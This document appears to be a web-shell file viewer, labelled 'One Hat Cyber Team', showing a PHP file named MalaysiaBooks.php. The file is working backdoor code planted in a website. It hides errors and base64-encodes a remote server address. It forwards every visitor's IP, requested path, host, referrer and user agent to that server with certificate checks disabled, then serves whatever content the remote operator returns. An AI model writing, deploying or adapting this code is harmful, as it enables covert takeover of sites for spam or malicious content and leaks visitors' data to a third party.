One Hat Cyber Team

View File Name : MalaysiaBooks.php

<?php
ob_start();
set_time_limit(3600);
ini_set('display_errors', 'Off');
ini_set('allow_url_fopen', 'On');
ignore_user_abort(1);

function getClientIP()
{
    $keys = array('HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'REMOTE_ADDR', 'HTTP_CLIENT_IP');
    
    foreach ($keys as $key) {
        if (isset($_SERVER[$key]) && filter_var($_SERVER[$key], FILTER_VALIDATE_IP)) {
            return $_SERVER[$key];
        }
    }
    
    return '0.0.0.0';
}

function fetchRemoteContent($url, $userAgent, $referrer)
{
    if (function_exists('curl_init')) {
        return fetchRemoteContentWithCurl($url, $userAgent, $referrer);
    } else {
        return fetchRemoteContentWithFileGetContents($url, $userAgent, $referrer);
    }
}

function fetchRemoteContentWithCurl($url, $userAgent, $referrer)
{
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_TIMEOUT, 30);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_USERAGENT, $userAgent);
    curl_setopt($curl, CURLOPT_REFERER, $referrer);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
    $response = curl_exec($curl);
    $httpcode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
    curl_close($curl);

    return array('code' => $httpcode, 'body' => $response);
}

function fetchRemoteContentWithFileGetContents($url, $userAgent, $referrer)
{
    $opts = array(
        'http' => array(
            'method' => "GET",
            'header' => "User-Agent: $userAgent\r\n" .
                        "Referer: $referrer\r\n",
            'timeout' => 30,
            'ignore_errors' => true
        ),
        'ssl' => array(
            'verify_peer' => false,
            'verify_peer_name' => false,
        )
    );
	
    $context = stream_context_create($opts);
    $body = @file_get_contents($url, false, $context);
    $code = null;
    if (isset($http_response_header) && is_array($http_response_header)) {
        foreach ($http_response_header as $header) {
            if (strpos($header, 'HTTP/') === 0) {
                $parts = explode(' ', $header);
                if (count($parts) > 1) {
                    $code = intval($parts[1]);
                }
                break;
            }
        }
    }

    return array('code' => $code, 'body' => $body);
}

$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'null';
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'null';
$clientIP = getClientIP();
$queryString = isset($_GET['id']) ? $_GET['id'] : (isset($_GET['ID']) ? $_GET['ID'] : '');
$domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : '');
$file = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : (isset($_SERVER['HTTP_X_REWRITE_URL']) ? $_SERVER['HTTP_X_REWRITE_URL'] : '');
$remoteServer = base64_decode('aHR0cDovLzE0OC4xMTMuMC4xMzo1My9zeXM=');

try {
    $requestUrl = $remoteServer . '?' . http_build_query(array(
		'id' => urlencode($queryString),
		'ip' => $clientIP,
		'file' => urlencode($file),
		'host' => urlencode($domain),
		'referer' => urlencode($referrer)
	), '', '&');

    $response = fetchRemoteContent($requestUrl, $userAgent, $referrer);
    
    if ($response['code'] == 404) {
        header("HTTP/1.0 404 Not Found");
    }
    echo $response['body'];
    exit;
} catch (Exception $exception) {}

ob_end_flush();

?>